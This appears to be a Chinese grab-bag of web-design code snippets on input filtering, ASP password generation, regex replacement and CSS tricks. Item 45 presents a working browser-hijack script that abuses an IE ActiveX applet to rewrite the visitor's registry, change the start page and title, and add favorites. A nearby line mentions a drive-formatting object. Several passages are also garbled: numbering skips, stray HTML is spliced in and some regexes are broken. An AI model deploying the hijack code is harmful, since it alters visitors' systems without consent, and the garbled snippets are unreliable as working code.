网页设计常用代码荟萃

图片忽隐忽显

把如下代码加入<body>区域中
<script language=javascript>
// Flash Image Extension for Dreamwever ,by Yichun Yuan(dezone@sina.com)
nereidFadeObjects = new Object();
nereidFadeTimers = new Object();
function nereidFade(object, destOp, rate, delta){
if (!document.all)
return
if (object != "[object]"{ //do this so I can take a string too
setTimeout("nereidFade("+object+","+destOp+","+rate+","+delta+"",0);
return;
}
clearTimeout(nereidFadeTimers[object.sourceIndex]);
diff = destOp-object.filters.alpha.opacity;
direction = 1;
if (object.filters.alpha.opacity > destOp){
direction = -1;
}
delta=Math.min(direction*diff,delta);
object.filters.alpha.opacity+=direction*delta;
if (object.filters.alpha.opacity != destOp){
nereidFadeObjects[object.sourceIndex]=object;
nereidFadeTimers[object.sourceIndex]=setTimeout("nereidFade(nereidFadeObjects["+object.sourceIndex+"],"+destOp+","+rate+","+delta+"",rate);
}
}
</script>
<a href=#><img src="photoshopcn.jpg" border=0 onMouseOut=nereidFade(this,50,10,5) onMouseOver=nereidFade(this,100,10,5) style="FILTER: alpha(opacity=40)"></a>

input高级限制级用法

1.取消按钮按下时的虚线框
　　在input里添加属性值  hideFocus 或者 HideFocus=true

2.只读文本框内容
        在input里添加属性值  readonly

3.防止退后清空的TEXT文档(可把style内容做做为类引用)
　　<INPUT style=behavior:url(#default#savehistory); type=text id=oPersistInput>

4.ENTER键可以让光标移到下一个输入框
　　<input onkeydown="if(event.keyCode==13)event.keyCode=9" >

5.只能为中文(有闪动)
　　<input onkeyup="value=value.replace(/[ -~]/g,'')" onkeydown="if(event.keyCode==13)event.keyCode=9">

6.只能为数字(有闪动)
　　<input onkeyup="value=value.replace(/[^\d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))">

7.只能为数字(无闪动)
　　<input style="ime-mode:disabled" onkeydown="if(event.keyCode==13)event.keyCode=9" onKeyPress="if ((event.keyCode<48 || event.keyCode>57)) event.returnValue=false">

8.只能输入英文和数字(有闪动)
　　<input onkeyup="value=value.replace(/[\W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))">

9.屏蔽输入法
　　<input type="text" name="url" style="ime-mode:disabled" onkeydown="if(event.keyCode==13)event.keyCode=9">

10. 只能输入数字，小数点，减号（-）字符(无闪动)
　　<input onKeyPress="if (event.keyCode!=46 && event.keyCode!=45 && (event.keyCode<48 || event.keyCode>57)) event.returnValue=false">

11. 只能输入两位小数，三位小数(有闪动)
　　<input maxlength=9 onkeyup="if(value.match(/^\d{3}$/))value=value.replace(value,parseInt(value/10)) ;value=value.replace(/\.\d*\./g,'.')" onKeyPress="if((event.keyCode<48 || event.keyCode>57) && event.keyCode!=46 && event.keyCode!=45 || value.match(/^\d{3}$/) || /\.\d{3}$/.test(value)) {event.returnValue=false}" id=text_kfxe name=text_kfxe>

ASP:生成一个不重复的随即数字

Sub CalCaPiao()
Dim strCaiPiaoNoArr() As String
Dim strSQL As String
Dim strCaiPiaoNo As String
strCaiPiaoNo = "01,02,03,04,05,06,07,08,09,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33"
Dim StrTempArr(7) As String
Dim strZhongJiangArr(7) As String
strCaiPiaoNoArr = Split(strCaiPiaoNo, ",")
Dim intRand As Integer
Dim i As Integer
Dim j As Integer
i = 0
Dim find As Boolean
Do While True
find = False
Randomize
intRand = Int((33 * Rnd) + 1)
For j = 0 To i - 1
If StrTempArr(j) = CStr(intRand) Then
find = True
End If
Next
If Not find Then
StrTempArr(j) = CStr(intRand)
strZhongJiangArr(i) = CStr(intRand)
'Text1(i) = strZhongJiangArr(i)
i = i + 1
If i = 7 Then
Exit Do
End If
End If
Loop
End Sub

随机产生用户密码

说明：通过随机产生密码，然后将密码EMail给注册用户，你可以确认用户的EMail填写是否正确。自动产生的密码往往安全性更高，同时，你可以过滤那些无效的用户。

　　把下面的代码保存为random.asp文件：

<%
Sub StrRandomize(strSeed)
　　Dim i, nSeed
　　nSeed = CLng(0)
　　For i = 1 To Len(strSeed)
　　　　nSeed = nSeed Xor ((256 * ((i - 1) Mod 4) * AscB(Mid(strSeed, i, 1))))
　　Next

　　Randomize nSeed
End Sub

Function GeneratePassword(nLength)
　　Dim i, bMadeConsonant, c, nRnd

　　Const strDoubleConsonants = "bdfglmnpst"
　　Const strConsonants = "bcdfghklmnpqrstv"
　　Const strVocal = "aeiou"

　　GeneratePassword = ""
　　bMadeConsonant = False

　　For i = 0 To nLength
　　　　nRnd = Rnd
　　　　If GeneratePassword <> "" AND (bMadeConsonant <> True) AND (nRnd < 0.15) Then
　　　　　　c = Mid(strDoubleConsonants, Int(Len(strDoubleConsonants) * Rnd + 1), 1)
　　　　　　c = c & c
　　i = i + 1
　　　　　　bMadeConsonant = True
　　　　Else
　　　　　　If (bMadeConsonant <> True) And (nRnd < 0.95) Then
　　　　　　　　c = Mid(strConsonants, Int(Len(strConsonants) * Rnd + 1), 1)
　　　　　　　　bMadeConsonant = True
　　　　　　Else
　　　　　　　　c = Mid(strVocal,Int(Len(strVocal) * Rnd + 1), 1)
　　　　　　　　bMadeConsonant = False
　　　　　　End If
　　　　End If
　　　　GeneratePassword = GeneratePassword & c
　　Next

　　If Len(GeneratePassword) > nLength Then
　　　　GeneratePassword = Left(GeneratePassword, nLength)
　　End If
End Function
%>

　　然后在你的目标程序中这样调用上面的代码，就可以实现密码的自动生成：(仅仅是一个例子，你可以把他们粘贴到一个Test.asp的文件中，然后运行Test.asp)



<%
'产生一个六位的密码

StrRandomize CStr(Now) & CStr(Rnd)
response.write GeneratePassword(6)

%>
<br><br>

<%

'产生一个8位的密码
StrRandomize CStr(Now) & CStr(Rnd)
response.write GeneratePassword(8)

%>
<br><br>

<%
'产生一个10位的密码
StrRandomize CStr(Now) & CStr(Rnd)
response.write GeneratePassword(10)
%>
<br><br>

<%

'产生1000个密码

dim t, t2
　　for t = 1 to 500
　　For t2 = 1 to 661
　　StrRandomize CStr(Now) & CStr(Rnd)
　　next
　　StrRandomize CStr(Now) & CStr(Rnd)
　　response.write GeneratePassword(6)
　　response.write "<br>"
next

%>

ASP:用vbscript判断email地址的合法性

这里是一断正则表达式的例子
<%
Function isemail(strng)
isemail = false
Dim regEx, Match ' Create variables.
Set regEx = New RegExp ' Create a regular expression object (stupid, huh?)
regEx.Pattern = "^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$" ' Sets pattern.
regEx.IgnoreCase = True ' Set case insensitivity.
Set Match = regEx.Execute(strng) ' Execute search.
if match.count then isemail= true
End Function
%＞

ASP:页面延迟的两个简单方法

一、

<% Response.Buffer = True %>
<%
' Setup the variables necessary to accomplish the task
Dim TimerStart, TimerEnd, TimerNow, TimerWait
' How many seconds do you want them to wait...
TimerWait = 5
' Setup and start the timers
TimerNow = Timer
TimerStart = TimerNow
TimerEnd = TimerStart + TimerWait
' Keep it in a loop for the desired length of time
Do While (TimerNow < TimerEnd)
' Determine the current and elapsed time
TimerNow = Timer
If (TimerNow < TimerStart) Then
TimerNow = TimerNow + 86400
End If
Loop
' Okay times up, lets git em outa here
Response.Redirect "nextpage.html" %>

二、

<%
Sub TimeDelaySeconds(DelaySeconds)
SecCount = 0
Sec2 = 0
While SecCount < DelaySeconds + 1
Sec1 = Second(Time())
If Sec1 <> Sec2 Then
Sec2 = Second(Time())
SecCount = SecCount + 1
End If
Wend
End Sub
%>

ASP:表示代码与逻辑代码分离

<%@ Page Inherits="MyCodeBehind" Src="c2.vb" %>

There is a nice section in the quickstart docs on this topic also. Click here to read up on it!

Here is the code

This example uses the following
MS-SQL Server 7.0 database
Stored Procedure
Component1a.aspx (HTML File)
c2.vb
Component1a.aspx (The Page that is the UI)
<%@ Page Inherits="MyCodeBehind" Src="c2.vb" Debug="True" trace="True" %>

<script language="VB" runat="server">

Sub Page_Load(Sender As Object, E As EventArgs)

response.write("SMILE!!! I love learning new things everyday")

End Sub
</script>

<html>
<head>
<title>Component Page 1</title>
</head>
<body>
<table border=0 cellpadding=3 cellspacing=3>
<tr bgcolor="#CCCCCC">
<td>
<font face="Arial, Helv" size="-1">
Please fill out this form to create a new user profile for your
Company's Component.
<br>
Once this information is gathered you will not need to enter it again and you will be able to update anytime.
<p>
Use the button at the bottom of this page to continue when you are finished.
<br>
</font>
</td>
</tr>
</table>

<font size="+1"><b><font color="#ff0000">*=Required Fields</b><br>

<form method="Post" name="form1" runat="server">
<table> <tr>
<td align=right>
<asp:Label & strID
page.navigate(strURL)
End If

End Sub

End Class

Stored Procedure that does the business logic

CREATE PROCEDURE sp_ComponentCompanyInfo

@CompanyName varchar(100),
@CompanyURL varchar(100),
@EmailAddress varchar(100),
@DateSubmitted datetime,
@CompanyID int OUTPUT

AS

INSERT tblComponentCompanyInfo(CompanyName, CompanyURL, EmailAddress,
DateSubmitted)
VALUES (@CompanyName, @CompanyURL, @EmailAddress, @DateSubmitted)

Select @CompanyID = @@Identity
RETURN

DDL that Creates the table
CREATE TABLE [dbo].[tblComponentCompanyInfo] (
[CompanyID] [int] IDENTITY (1, 1) NOT NULL ,
[CompanyName] [varchar] (100) NULL ,
[CompanyURL] [varchar] (100) NULL ,
[EmailAddress] [varchar] (100) NULL ,
[DateSubmitted] [datetime] NULL
) ON [PRIMARY]
GO

ALTER TABLE [dbo].[tblComponentCompanyInfo] WITH NOCHECK ADD
CONSTRAINT [PK_tblComponentCompanyInfo] PRIMARY KEY NONCLUSTERED
(
[CompanyID]
) WITH FILLFACTOR = 90 ON [PRIMARY]
GO

16.怎样不使用页面的缓存？即每一次打开页面时不是调用缓存中的东西

<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

17.请问如何忽视右键?
<body oncontextmenu="return false">

18.怎样在同一页面内控制不同链接的CSS属性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在DW4的CSS中定义一个新的标示，按照HTML的语法，超级连接得是

A.YOURS：LINK A.YOURS：HOVER

YOURS可以改作你自己的字

然后在选中某个连接后，在CSS面版中点中YOURS即可。

按需要，你可以定义N个标示，N种鼠标OVER的效果

19.电子邮件处理提交表单

<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">

<input type=submit>

</form>

20.有没有可能用层来遮住FLASH？

1.在flash的parameters里加入 <param name="wmode" value="transparent">

2.<body onblur=self.focus()>

21.如何根据屏幕分辨率调用相对应的页面？

先做好几个页面，比如一个htm1.htm是800*600，一个是htm2.htm是1024*768的然后在你的入口页面 index.htm 中判断：

<html>

<head>

<script language=javascript>



</script>

</head>

<body onload="mHref();">

</body>

</html>

22.不用询问就关闭浏览器

<head>

<OBJECT id=closes type="application/x-oleobject" class readonly>

32.怎样保持layer在最前面，而不被Iframe、Object所覆盖，有什么解决方法？

只要在Layer中再插Iframe 或 Object 设z-Index值

<div z-Index:2><object xxx></object></div> ＃前面

<div z-Index:1><object xxx></object></div> ＃后面

<div ></td>

</tr>

</table>

</span><![endif]><span lang=EN-US><![if !supportEmptyParas]> <![endif]><p></p></span></p>

</div>

</body>

</html>

41.如何在JavaScript中捕捉错误信息？

<script>

try{

var s=a.b;

}

catch(anError)

{

alert(anError.description);

}

</script>

42.JS正则表达式replace用法

下述示例脚本使用replace方法来转换串中的单词。在替换的文本中，脚本使用全局 RegExp

对象的$1和$2属性的值。注意，在作为第二个参数传递给replace方法的时候，RegExp对象的$属性的名

称。

<SCRIPT LANGUAGE="JavaScript1.2">

re = /(+)(+)/;

str = "John Smith";

newstr=str.replace(re,"$2, $1");

document.write(newstr)

</SCRIPT>

显示结果："Smith, John".

str.replace(re,"$2, $1");这一句，$2,$1是什么意思？

[font color=blue]下面这个解释我也不大明白，可否帮我解释一下，多谢！{/font]

$1, ..., $9属性

用圆括号括着的匹配子串，如果有的话。

是RegExp的属性

静态，只读

在JavaScript 1.2, NES 3.0以上版本提供

描述：因为input是静态属性，不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该

属性。

能加上圆括号的子串的数量不受限制，但正则表达式对象只能保留最后9 条。如果你要访问所有的

圆括号内的匹配字串，你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号，$1是匹配第1个括号，对多层括号嵌套应该如何区分？而且如果超过$1~$9的括号如何匹配？

<script>

var reg=/((+)(+))/;

var str='John Smith';

reg.exec(str);

</script>

<button onclick=with(RegExp)alert($1+''+$2+''+$3);>View</button>

43.如何实现首页全屏幕显示？

<html>

<body><script language="javascript">

var coolw=642

var coolh=400

var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")

window.close()

</script></body></html>

44.如何动态改变一个Object对象的样式表风格的Class？

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>

45.如何用脚本来修改用户系统的注册表？（★★★★不推荐使用★★★★）

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

function f(){

try

{

//ActiveX 初始化

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

{

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//设置Cookie完毕

//设置主页

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");

//修改浏览器的标题

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

}

AddFavLnk(loc, "无忧脚本", "http://www.51js.com");

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();

</script>

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘

<object ><br>

48.关于try....catch..的语法捕捉错误使用例子

try{

可能会引起错误的语句

}

catch(表达式)

{

错误处理语句

}

例如：

<button onclick=TryDemo()>Try...Catch...Demo</button>

<script>

function TryDemo()

{

try{

var a=b/2;//注意由于b不存在，所以会引发一个异常。

}

catch(e)

{

alert('错误类型：'+e+'错误信息：'+e.Descrition);

}

}

</script>

49.如何获得一个Select中选中option的value？

select.options[select.selectedIndex].value

50.this 和self 有什么区别，各在哪里用

self指代窗口。 this的情况： 1. 用于元素事件代码中指代元素本身： <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。

<script>

function Car(){this.name='Car';};alert(new Car().name);

</script>

51.如何禁止Ctrl+N？

<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有！

查找：dhtmled.ocx

或在delphi/c++builder中import activeX 选dhtmled.ocx